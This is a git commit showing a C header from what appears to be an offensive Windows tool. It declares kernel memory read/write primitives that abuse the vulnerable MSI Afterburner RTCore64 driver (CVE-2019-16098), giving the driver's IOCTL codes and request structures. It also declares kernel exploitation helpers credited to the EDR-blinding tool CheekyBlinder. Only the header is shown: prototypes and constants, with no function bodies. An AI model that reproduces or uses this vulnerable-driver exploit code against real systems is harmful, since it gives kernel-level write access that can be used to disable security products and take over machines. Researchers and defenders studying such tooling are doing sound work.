Initial commit for public version

Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
2026-06-09 00:47:16 +00:00 · 2021-11-08 09:54:05 +01:00
commit 4bff81986b
42 changed files with 8490 additions and 0 deletions
@@ -0,0 +1,73 @@
+/*
+
+--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
+--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+#include <Psapi.h>
+#include <Tchar.h>
+#include <stdio.h>
+
+#include "Globals.h"
+
+struct RTCORE64_MSR_READ {
+    DWORD Register;
+    DWORD ValueHigh;
+    DWORD ValueLow;
+};
+
+struct RTCORE64_MEMORY_READ {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+};
+
+struct RTCORE64_MEMORY_WRITE {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+};
+
+static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
+static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
+static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
+
+BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
+
+WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
+
+DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
+
+DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
+
+void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
+
+void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
+
+void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
+
+/*
+
+--- Kernel exploitation helpers.
+--- Largely inspired from https://github.com/br-sn/CheekyBlinder
+--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
+
+*/
+
+DWORD64 FindNtoskrnlBaseAddress(void);
+
+TCHAR* FindDriver(DWORD64 address, BOOL verbose);
+
+HANDLE GetDriverHandle();
+
+DWORD64 GetFunctionAddress(LPCSTR function);